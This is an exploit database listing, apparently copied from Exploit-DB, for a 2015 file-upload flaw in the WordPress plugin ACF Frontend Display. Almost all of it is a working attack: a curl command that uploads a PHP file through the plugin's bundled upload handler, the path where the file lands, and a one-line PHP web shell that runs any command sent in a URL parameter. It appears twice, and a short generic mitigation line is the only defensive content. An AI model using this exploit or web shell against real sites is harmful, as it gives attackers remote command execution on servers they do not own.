WP Plugin Free ACF Frontend Display File Upload Vulnerability

vendor:

by:

TUNISIAN CYBER

5.5

CVSS

MEDIUM

File Upload Vulnerability

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: KaliLinux

2015

WP Plugin Free ACF Frontend Display File Upload Vulnerability

+---------------------------------------------------------------------------+#[+] Author: TUNISIAN CYBER#[+] Title: WP Plugin Free ACF Frontend Display File Upload Vulnerability#[+] Date: 3-07-2015#[+] Type: WebAPP#[+] Download Plugin: https://downloads.wordpress.org/plugin/acf-frontend-display.2.0.5.zip#[+] Tested on: KaliLinux#[+] Friendly Sites: sec4ever.com#[+] Twitter: @TCYB3R+---------------------------------------------------------------------------+curl -k -X POST -F "action=upload" -F "files=@/root/Desktop/evil.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php"File Path: site/wp-content/uploads/uigen_YEAR/file.phpExample: site/wp-content/uploads/uigen_2015/evil.phpevil.php: <?php passthru($_GET['cmd']); ?>TUNISIAN CYBER(miutex)-S4E

Mitigation:

Ensure file uploads are properly validated and restricted to the necessary file types and locations. Implement input validation to prevent unauthorized access and code execution.

Source

Exploit-DB raw data:

+---------------------------------------------------------------------------+ 
#[+] Author: TUNISIAN CYBER 
#[+] Title: WP Plugin Free ACF Frontend Display File Upload Vulnerability 
#[+] Date: 3-07-2015 
#[+] Type: WebAPP 
#[+] Download Plugin: https://downloads.wordpress.org/plugin/acf-frontend-display.2.0.5.zip
#[+] Tested on: KaliLinux 
#[+] Friendly Sites: sec4ever.com 
#[+] Twitter: @TCYB3R 
+---------------------------------------------------------------------------+ 

curl -k -X POST -F "action=upload" -F "files=@/root/Desktop/evil.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php" 

File Path: site/wp-content/uploads/uigen_YEAR/file.php 
Example: site/wp-content/uploads/uigen_2015/evil.php 
evil.php: <?php passthru($_GET['cmd']); ?> 


TUNISIAN CYBER(miutex)-S4E